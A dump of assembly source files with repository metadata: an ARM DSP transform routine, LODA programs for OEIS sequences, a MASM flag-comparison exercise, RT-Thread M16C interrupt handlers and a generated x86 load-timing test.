r0, r0, r2 ; update input pointer qadd16 r7, r7, r7 ; 2x[c1|d1] --> we can use smlad and smlsd ; with 2217*4 and 5352*4 without losing the ; sign bit (overflow) smuad r9, r6, lr ; o4 = (i5+i6)*8 + (i4+i7)*8 smusd r8, r6, lr ; o6 = (i5+i6)*8 - (i4+i7)*8 smlad r6, r7, r12, r11 ; o5 = (c1 * 2217 + d1 * 5352 + 14500) smlsdx r7, r7, r12, r10 ; o7 = (d1 * 2217 - c1 * 5352 + 7500) ldrd r4, r5, [r0] ; [i9 | i8] [i11 | i10] pkhbt r9, r9, r6, lsl #4 ; [o5 | o4], keep in register for PART 2 pkhbt r6, r8, r7, lsl #4 ; [o7 | o6] str r6, [r1, #12] ; coeffs 8-11 ror r5, r5, #16 ; [i10 | i11] qadd16 r6, r4, r5 ; [i9+i10 | i8+i11]=[b1 | a1] without shift qsub16 r7, r4, r5 ; [i9-i10 | i8-i11]=[c1 | d1] without shift add r0, r0, r2 ; update input pointer qadd16 r7, r7, r7 ; 2x[c1|d1] --> we can use smlad and smlsd ; with 2217*4 and 5352*4 without losing the ; sign bit (overflow) smuad r2, r6, lr ; o8 = (i9+i10)*8 + (i8+i11)*8 smusd r8, r6, lr ; o10 = (i9+i10)*8 - (i8+i11)*8 smlad r6, r7, r12, r11 ; o9 = (c1 * 2217 + d1 * 5352 + 14500) smlsdx r7, r7, r12, r10 ; o11 = (d1 * 2217 - c1 * 5352 + 7500) ldrd r4, r5, [r0] ; [i13 | i12] [i15 | i14] pkhbt r2, r2, r6, lsl #4 ; [o9 | o8], keep in register for PART 2 pkhbt r6, r8, r7, lsl #4 ; [o11 | o10] str r6, [r1, #20] ; coeffs 12-15 ror r5, r5, #16 ; [i14 | i15] qadd16 r6, r4, r5 ; [i13+i14 | i12+i15]=[b1|a1] without shift qsub16 r7, r4, r5 ; [i13-i14 | i12-i15]=[c1|d1] without shift qadd16 r7, r7, r7 ; 2x[c1|d1] --> we can use smlad and smlsd ; with 2217*4 and 5352*4 without losing the ; sign bit (overflow) smuad r4, r6, lr ; o12 = (i13+i14)*8 + (i12+i15)*8 smusd r5, r6, lr ; o14 = (i13+i14)*8 - (i12+i15)*8 smlad r6, r7, r12, r11 ; o13 = (c1 * 2217 + d1 * 5352 + 14500) smlsdx r7, r7, r12, r10 ; o15 = (d1 * 2217 - c1 * 5352 + 7500) pkhbt r0, r4, r6, lsl #4 ; [o13 | o12], keep in register for PART 2 pkhbt r6, r5, r7, lsl #4 ; [o15 | o14] str r6, [r1, #28] ; PART 2 ------------------------------------------------- ldr r11, c12000 ldr r10, c51000 ldr lr, c0x00070007 qadd16 r4, r3, r0 ; a1 = [i1+i13 | i0+i12] qadd16 r5, r9, r2 ; b1 = [i5+i9 | i4+i8] qsub16 r6, r9, r2 ; c1 = [i5-i9 | i4-i8] qsub16 r7, r3, r0 ; d1 = [i1-i13 | i0-i12] qadd16 r4, r4, lr ; a1 + 7 add r0, r11, #0x10000 ; add (d!=0) qadd16 r2, r4, r5 ; a1 + b1 + 7 qsub16 r3, r4, r5 ; a1 - b1 + 7 ldr r12, c0x08a914e8 ; [2217 | 5352] lsl r8, r2, #16 ; prepare bottom halfword for scaling asr r2, r2, #4 ; scale top halfword lsl r9, r3, #16 ; prepare bottom halfword for scaling asr r3, r3, #4 ; scale top halfword pkhtb r4, r2, r8, asr #20 ; pack and scale bottom halfword pkhtb r5, r3, r9, asr #20 ; pack and scale bottom halfword smulbt r2, r6, r12 ; [ ------ | c1*2217] str r4, [r1, #0] ; [ o1 | o0] smultt r3, r6, r12 ; [c1*2217 | ------ ] str r5, [r1, #16] ; [ o9 | o8] smlabb r8, r7, r12, r2 ; [ ------ | d1*5352] smlatb r9, r7, r12, r3 ; [d1*5352 | ------ ] smulbb r2, r6, r12 ; [ ------ | c1*5352] smultb r3, r6, r12 ; [c1*5352 | ------ ] lsls r6, r7, #16 ; d1 != 0 ? addeq r8, r8, r11 ; c1_b*2217+d1_b*5352+12000 + (d==0) addne r8, r8, r0 ; c1_b*2217+d1_b*5352+12000 + (d!=0) asrs r6, r7, #16 addeq r9, r9, r11 ; c1_t*2217+d1_t*5352+12000 + (d==0) addne r9, r9, r0 ; c1_t*2217+d1_t*5352+12000 + (d!=0) smlabt r4, r7, r12, r10 ; [ ------ | d1*2217] + 51000 smlatt r5, r7, r12, r10 ; [d1*2217 | ------ ] + 51000 pkhtb r9, r9, r8, asr #16 sub r4, r4, r2 sub r5, r5, r3 ldr r3, [r1, #4] ; [i3 | i2] pkhtb r5, r5, r4, asr #16 ; [o13|o12] str r9, [r1, #8] ; [o5 | 04] ldr r9, [r1, #12] ; [i7 | i6] ldr r8, [r1, #28] ; [i15|i14] ldr r2, [r1, #20] ; [i11|i10] str r5, [r1, #24] ; [o13|o12] qadd16 r4, r3, r8 ; a1 = [i3+i15 | i2+i14] qadd16 r5, r9, r2 ; b1 = [i7+i11 | i6+i10] qadd16 r4, r4, lr ; a1 + 7 qsub16 r6, r9, r2 ; c1 = [i7-i11 | i6-i10] qadd16 r2, r4, r5 ; a1 + b1 + 7 qsub16 r7, r3, r8 ; d1 = [i3-i15 | i2-i14] qsub16 r3, r4, r5 ; a1 - b1 + 7 lsl r8, r2, #16 ; prepare bottom halfword for scaling asr r2, r2, #4 ; scale top halfword lsl r9, r3, #16 ; prepare bottom halfword for scaling asr r3, r3, #4 ; scale top halfword pkhtb r4, r2, r8, asr #20 ; pack and scale bottom halfword pkhtb r5, r3, r9, asr #20 ; pack and scale bottom halfword smulbt r2, r6, r12 ; [ ------ | c1*2217] str r4, [r1, #4] ; [ o3 | o2] smultt r3, r6, r12 ; [c1*2217 | ------ ] str r5, [r1, #20] ; [ o11 | o10] smlabb r8, r7, r12, r2 ; [ ------ | d1*5352] smlatb r9, r7, r12, r3 ; [d1*5352 | ------ ] smulbb r2, r6, r12 ; [ ------ | c1*5352] smultb r3, r6, r12 ; [c1*5352 | ------ ] lsls r6, r7, #16 ; d1 != 0 ? addeq r8, r8, r11 ; c1_b*2217+d1_b*5352+12000 + (d==0) addne r8, r8, r0 ; c1_b*2217+d1_b*5352+12000 + (d!=0) asrs r6, r7, #16 addeq r9, r9, r11 ; c1_t*2217+d1_t*5352+12000 + (d==0) addne r9, r9, r0 ; c1_t*2217+d1_t*5352+12000 + (d!=0) smlabt r4, r7, r12, r10 ; [ ------ | d1*2217] + 51000 smlatt r5, r7, r12, r10 ; [d1*2217 | ------ ] + 51000 pkhtb r9, r9, r8, asr #16 sub r4, r4, r2 sub r5, r5, r3 str r9, [r1, #12] ; [o7 | o6] pkhtb r5, r5, r4, asr #16 ; [o15|o14] str r5, [r1, #28] ; [o15|o14] ldmfd sp!, {r4 - r12, pc} ENDP ; Used constants c7500 DCD 7500 c14500 DCD 14500 c0x22a453a0 DCD 0x22a453a0 c0x00080008 DCD 0x00080008 c12000 DCD 12000 c51000 DCD 51000 c0x00070007 DCD 0x00070007 c0x08a914e8 DCD 0x08a914e8 END
36.361217
79
0.429781
42466ef984ce8c8f91af3aa283e490476c40e719
634
asm
Assembly
oeis/219/A219564.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/219/A219564.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/219/A219564.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A219564: Sum(binomial(n+k,k)^6, k=0..n). ; Submitted by Jon Maiga ; 1,65,47386,65004097,119498671876,260128695981674,632156164654144530,1659900189891175027265,4616088190888638302435080,13418259230056806455830305940,40401802613222456104862752944356,125182282922559710456869140648653290,397195659937314116991934285462527257236,1285778678570597459816759762637382013092082,4234110006076290893566716050952627863588420386,14150895402046171632291443073842336692989111308865,47908809258029216362492546924774876041396843448138960 mov $2,$0 lpb $0 mov $3,$2 add $3,$0 bin $3,$0 sub $0,1 pow $3,6 add $1,$3 lpe mov $0,$1 add $0,1
39.625
454
0.839117
74358493f530022860114d7aa5c7162f86b8fd5f
1,340
asm
Assembly
programs/oeis/250/A250427.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/250/A250427.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/250/A250427.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A250427: Number of (n+1)X(3+1) 0..1 arrays with nondecreasing sum of every two consecutive values in every row and column ; 81,324,1296,3600,10000,22500,50625,99225,194481,345744,614656,1016064,1679616,2624400,4100625,6125625,9150625,13176900,18974736,26501904,37015056,50381604,68574961,91298025,121550625,158760000,207360000,266342400,342102016,432972864,547981281,684502569,855036081,1055600100,1303210000,1592010000,1944810000,2353220100,2847396321,3415584249,4097152081,4875949584,5802782976,6855840000,8100000000,9506250000,11156640625,13013105625,15178486401,17603451684,20415837456,23552427024,27170906896,31191092100,35806100625,40915175625,46753250625,53194809600,60523872256,68585324544,77720518656,87739179264,99049307841,111419102025,125333700625,140512522500,157529610000,176047376400,196741925136,219209367204,244242535681,271360771929,301489944561,334060880400,370150560000,409088160000,452121760000,498464240400,549556825041,604479815289,664891837281,729722560644,800874647056,877107171600,960596010000,1049907622500,1147523000625,1251791757225,1365534810721,1486858319424,1618961043456,1759676534784,1912622616576,2075328360000,2251875390625,2439453515625,2642656640625,2858297422500,3091534492176,3338762163984 add $0,6 seq $0,307182 ; Crossing number of the n-crown graph (conjectured). pow $0,2 mul $0,26 div $0,416
148.888889
1,107
0.876119
2763b777b7ed58b779903d9755c48b7d0feebdde
575
asm
Assembly
programs/oeis/026/A026565.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/026/A026565.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/026/A026565.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A026565: a(n) = 6*a(n-2), starting 1,3,9. ; 1,3,9,18,54,108,324,648,1944,3888,11664,23328,69984,139968,419904,839808,2519424,5038848,15116544,30233088,90699264,181398528,544195584,1088391168,3265173504,6530347008,19591041024,39182082048 mov $15,$0 mov $17,2 lpb $17,1 clr $0,15 mov $0,$15 sub $17,1 add $0,$17 sub $0,1 mov $2,$0 lpb $2,1 gcd $0,2 add $0,1 add $1,4 mul $1,$0 sub $2,1 lpe div $1,8 mul $1,3 add $1,1 mov $18,$17 lpb $18,1 mov $16,$1 sub $18,1 lpe lpe lpb $15,1 mov $15,0 sub $16,$1 lpe mov $1,$16
16.911765
194
0.603478
61c0582b8445309a030cc2b275cf720bb2f0842c
648
asm
Assembly
MASM_Practice/43_Bool_Compare.asm
TuringGu/RELearning
a44813d6ae0416631bf5b345a7606cdf3d1a3ffe
[ "MIT" ]
null
null
null
MASM_Practice/43_Bool_Compare.asm
TuringGu/RELearning
a44813d6ae0416631bf5b345a7606cdf3d1a3ffe
[ "MIT" ]
null
null
null
MASM_Practice/43_Bool_Compare.asm
TuringGu/RELearning
a44813d6ae0416631bf5b345a7606cdf3d1a3ffe
[ "MIT" ]
null
null
null
.586 .MODEL flat,stdcall option casemap:none include windows.inc include user32.inc include kernel32.inc include msvcrt.inc includelib user32.lib includelib kernel32.lib includelib msvcrt.lib .data .code main PROC mov eax,18 mov ebx,26 xor eax,ebx test al,10 cmp al,10 ;Exit push 0 call ExitProcess add esp,4 main ENDP END main ;test: like AND, but only modify flag register value (zero flag), ;eflags ;cmp: only modify flag register value ;cmp a,b (a, b are unsigned number, a - b) ;a<b, zf=0 cf=1 sf != of ;a>b, zf=0 cf=0 sf = of ;a=b, zf=1 cf=0 ;zf: Zero Flag cf: Carry Flag sf: Symbol Flag of: Overflow Flag
14.4
72
0.700617
8b8f58041ba0aa69f3f19cc14c3b29b9066b2908
176
asm
Assembly
libsrc/_DEVELOPMENT/stdlib/c/sccz80/ftoa_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/stdlib/c/sccz80/ftoa_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/stdlib/c/sccz80/ftoa_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; size_t ftoa(float x, char *buf, uint16_t prec, uint16_t flag) SECTION code_clib SECTION code_stdlib PUBLIC ftoa_callee EXTERN dtoa_callee defc ftoa_callee = dtoa_callee
14.666667
63
0.801136
5f2688e068f2d403369b7dd4d511fcdbcc8a88df
1,903
asm
Assembly
bsp/m16c62p/drivers/interrupts_iar.asm
rockonedege/rt-thread
4fe6c709d0bfe719bed6c927f0144ba373bbda5a
[ "Apache-2.0" ]
7,482
2015-01-01T09:23:08.000Z
2022-03-31T19:34:05.000Z
bsp/m16c62p/drivers/interrupts_iar.asm
rockonedege/rt-thread
4fe6c709d0bfe719bed6c927f0144ba373bbda5a
[ "Apache-2.0" ]
2,543
2015-01-09T02:01:34.000Z
2022-03-31T23:10:14.000Z
bsp/m16c62p/drivers/interrupts_iar.asm
rockonedege/rt-thread
4fe6c709d0bfe719bed6c927f0144ba373bbda5a
[ "Apache-2.0" ]
4,645
2015-01-06T07:05:31.000Z
2022-03-31T18:21:50.000Z
/* * Copyright (c) 2006-2021, RT-Thread Development Team * * SPDX-License-Identifier: Apache-2.0 * * Change Logs: * Date Author Notes * 2010-04-20 fify the first version * * For : Renesas M16C * Toolchain : IAR's EW for M16C v3.401 */ PUBLIC rt_hw_timer_handler PUBLIC rt_hw_uart0_receive_handler EXTERN rt_thread_switch_interrupt_flag EXTERN rt_interrupt_from_thread EXTERN rt_interrupt_to_thread EXTERN rt_interrupt_enter EXTERN rt_interrupt_leave EXTERN rt_tick_increase EXTERN u0rec_handler RSEG CSTACK RSEG ISTACK RSEG CODE:CODE:NOROOT(2) rt_hw_context_switch_interrupt_do MOV.B #0, rt_thread_switch_interrupt_flag MOV.W rt_interrupt_from_thread, A0 STC ISP, [A0] MOV.W rt_interrupt_to_thread, A0 LDC [A0], ISP POPM R0,R1,R2,R3,A0,A1,SB,FB ; Restore all processor registers from the new task's stack REIT .EVEN rt_hw_timer_handler: PUSHM R0,R1,R2,R3,A0,A1,SB,FB ; Save current task's registers JSR rt_interrupt_enter JSR rt_tick_increase JSR rt_interrupt_leave CMP.B #1, rt_thread_switch_interrupt_flag JEQ rt_hw_context_switch_interrupt_do POPM R0,R1,R2,R3,A0,A1,SB,FB ; Restore current task's registers REIT ; Return from interrup .EVEN rt_hw_uart0_receive_handler: PUSHM R0,R1,R2,R3,A0,A1,SB,FB ; Save current task's registers JSR rt_interrupt_enter JSR u0rec_handler JSR rt_interrupt_leave CMP.B #1, rt_thread_switch_interrupt_flag JEQ rt_hw_context_switch_interrupt_do POPM R0,R1,R2,R3,A0,A1,SB,FB ; Restore current task's registers REIT ; Return from interrup END
28.833333
107
0.636364
54623b5f56aa157bb46b7d4e49274de8b945293a
158
asm
Assembly
audio/sfx/battle_25.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
audio/sfx/battle_25.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
audio/sfx/battle_25.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
SFX_Battle_25_Ch8: noise_note 15, 4, -7, 65 noise_note 8, 8, -7, 65 noise_note 8, 12, -7, 65 noise_note 8, 15, 2, 66 noise_note 15, 15, 2, 65 sound_ret
19.75
25
0.670886
45dd7c2612712155175a266fbf3a7d0692a87021
4,225
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_636.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_636.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_636.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %rbp push %rdi push %rdx lea addresses_WT_ht+0x13fac, %rdi nop nop add %rbp, %rbp movb (%rdi), %r11b nop sub $12640, %rdx pop %rdx pop %rdi pop %rbp pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r9 push %rdi push %rdx push %rsi // Load lea addresses_UC+0x6128, %rdi nop xor %r9, %r9 mov (%rdi), %r12d nop nop nop cmp %r9, %r9 // Faulty Load lea addresses_PSE+0x8128, %rdx nop nop nop nop nop add $51384, %r12 mov (%rdx), %si lea oracles, %r12 and $0xff, %rsi shlq $12, %rsi mov (%r12,%rsi,1), %rsi pop %rsi pop %rdx pop %rdi pop %r9 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_PSE', 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC', 'congruent': 11}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_PSE', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 2}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
58.680556
2,999
0.659408
367484db0aa05e61bc8549e73f4eafc472f61a69
708
asm
Assembly
programs/oeis/195/A195176.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/195/A195176.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/195/A195176.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A195176: a(n) = 3*n - floor(n*sqrt(2)). ; 0,2,4,5,7,8,10,12,13,15,16,18,20,21,23,24,26,27,29,31,32,34,35,37,39,40,42,43,45,46,48,50,51,53,54,56,58,59,61,62,64,66,67,69,70,72,73,75,77,78,80,81,83,85,86,88,89,91,92,94,96,97,99,100,102,104,105,107,108,110,112,113,115,116,118,119,121,123,124,126,127,129,131,132,134,135,137,138,140,142,143,145,146,148,150,151,153,154,156,157 mov $2,1 lpb $2 sub $2,1 mov $3,$0 mov $5,2 lpb $5 mov $0,$3 sub $0,1 mov $4,$3 sub $5,1 mov $6,$0 mov $7,0 lpb $4 mov $0,$6 sub $4,1 sub $0,$4 max $0,1 seq $0,144611 ; Sturmian word of slope 2-sqrt(2). add $0,1 add $7,$0 lpe mov $0,$7 lpe lpe
25.285714
332
0.556497
6db464771a327e9ed4cf66406733e04d55788aa5
615
asm
Assembly
oeis/067/A067411.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/067/A067411.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/067/A067411.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A067411: Third column of triangle A067410 and second column of A067417. ; 1,4,24,144,864,5184,31104,186624,1119744,6718464,40310784,241864704,1451188224,8707129344,52242776064,313456656384,1880739938304,11284439629824,67706637778944,406239826673664,2437438960041984,14624633760251904,87747802561511424,526486815369068544,3158920892214411264,18953525353286467584,113721152119718805504,682326912718312833024,4093961476309876998144,24563768857859261988864,147382613147155571933184,884295678882933431599104,5305774073297600589594624,31834644439785603537567744 mov $1,6 pow $1,$0 mul $1,2 add $1,1 div $1,3 mov $0,$1
61.5
483
0.873171
325a2cd2e5f08c231bb84dc2bbc9fe9747a8a66c
132
asm
Assembly
source/constants.asm
mateuszstompor/Linked-List-x86-64-ASM
0652d03458ef65e93a6cad4586dacbd5893c5ed6
[ "MIT" ]
5
2019-07-12T11:30:22.000Z
2022-03-07T18:39:52.000Z
source/constants.asm
mateuszstompor/Linked-List-x86-64-ASM
0652d03458ef65e93a6cad4586dacbd5893c5ed6
[ "MIT" ]
6
2019-07-22T21:34:01.000Z
2020-02-09T15:09:10.000Z
source/constants.asm
mateuszstompor/Linked-List-x86-64-ASM
0652d03458ef65e93a6cad4586dacbd5893c5ed6
[ "MIT" ]
null
null
null
; ; Created by Mateusz Stompór on 21/07/2019. ; %ifndef LL_CONSTANTS %define LL_CONSTANTS ; List %define NULL_PTR 0 %endif
13.2
43
0.704545
6ec8f486e4e774901ef19c928893cadaed8f9d1a
761
asm
Assembly
oeis/189/A189835.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/189/A189835.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/189/A189835.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A189835: Number of representations of n as a*b + b*c + c*d + d*e where a, b, d, e>0, c>=0 are integers. ; Submitted by Jamie Morken(s4) ; 0,1,4,9,16,26,36,53,64,90,100,138,144,194,200,261,256,347,324,426,416,522,484,658,576,746,712,882,784,1060,900,1173,1088,1314,1160,1587,1296,1658,1544,1890,1600,2164,1764,2298,2096,2466,2116,2930,2304,2955,2696,3258,2704,3668,2952,3802,3392,3978,3364,4740,3600,4562,4172,5013,4160,5572,4356,5682,5024,5940,4900,6871,5184,6554,6060,7146,5792,7876,6084,8066,6976,8082,6724,9492,7200,8906,8072,9666,7744,10750,8136,10578,9248,10674,9032,12498,9216,11667,10508,12771 add $0,1 mov $2,$0 lpb $0 mov $3,$2 dif $3,$0 mov $4,$3 cmp $3,$2 cmp $3,0 mul $3,$0 sub $0,1 trn $3,$4 pow $3,2 add $1,$3 lpe mov $0,$1
38.05
464
0.689882
f3a919cd8858d320a40f75abee9f5f4864cc01a2
487
asm
Assembly
programs/oeis/110/A110660.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/110/A110660.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/110/A110660.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A110660: Pronic numbers repeated. ; 0,0,2,2,6,6,12,12,20,20,30,30,42,42,56,56,72,72,90,90,110,110,132,132,156,156,182,182,210,210,240,240,272,272,306,306,342,342,380,380,420,420,462,462,506,506,552,552,600,600,650,650,702,702,756,756,812,812,870,870,930,930,992,992,1056,1056,1122,1122,1190,1190,1260,1260,1332,1332,1406,1406,1482,1482,1560,1560,1640,1640,1722,1722,1806,1806,1892,1892,1980,1980,2070,2070,2162,2162,2256,2256,2352,2352,2450,2450 div $0,2 mov $1,$0 pow $1,2 add $0,$1
60.875
411
0.735113
a1f8db012974633d6413b4b5019ebae46e245733
371
asm
Assembly
programs/oeis/070/A070351.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/070/A070351.asm
neoneye/loda
